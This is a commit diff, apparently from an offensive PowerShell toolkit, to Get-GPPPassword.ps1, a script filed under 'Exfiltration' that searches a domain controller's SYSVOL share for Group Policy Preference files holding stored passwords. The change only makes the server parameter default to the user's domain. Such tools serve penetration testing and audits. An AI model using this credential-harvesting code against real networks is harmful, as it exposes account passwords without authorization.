aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--Exfiltration/Get-GPPPassword.ps116
1 files changed, 4 insertions, 12 deletions
diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1
index 8f52dfd..0c03e0a 100644
--- a/Exfiltration/Get-GPPPassword.ps1
+++ b/Exfiltration/Get-GPPPassword.ps1
@@ -84,8 +84,9 @@ function Get-GPPPassword {
[CmdletBinding()]
Param (
+ [ValidateNotNullOrEmpty()]
[String]
- $Server
+ $Server = $Env:USERDNSDOMAIN
)
#Some XML issues between versions
@@ -227,19 +228,10 @@ function Get-GPPPassword {
if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) {
throw 'Machine is not a domain member or User is not a member of the domain.'
}
-
- #Allow users to specify domain controller
- if ($Server) {
- $DomainController = $Server
- }
-
- else {
- $DomainController = $Env:USERDNSDOMAIN
- }
#discover potential files containing passwords ; not complaining in case of denied access to a directory
- Write-Verbose "Searching \\$DomainController\SYSVOL. This could take a while."
- $XMlFiles = Get-ChildItem -Path "\\$DomainController\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
+ Write-Verbose "Searching \\$Server\SYSVOL. This could take a while."
+ $XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'
if ( -not $XMlFiles ) {throw 'No preference files found.'}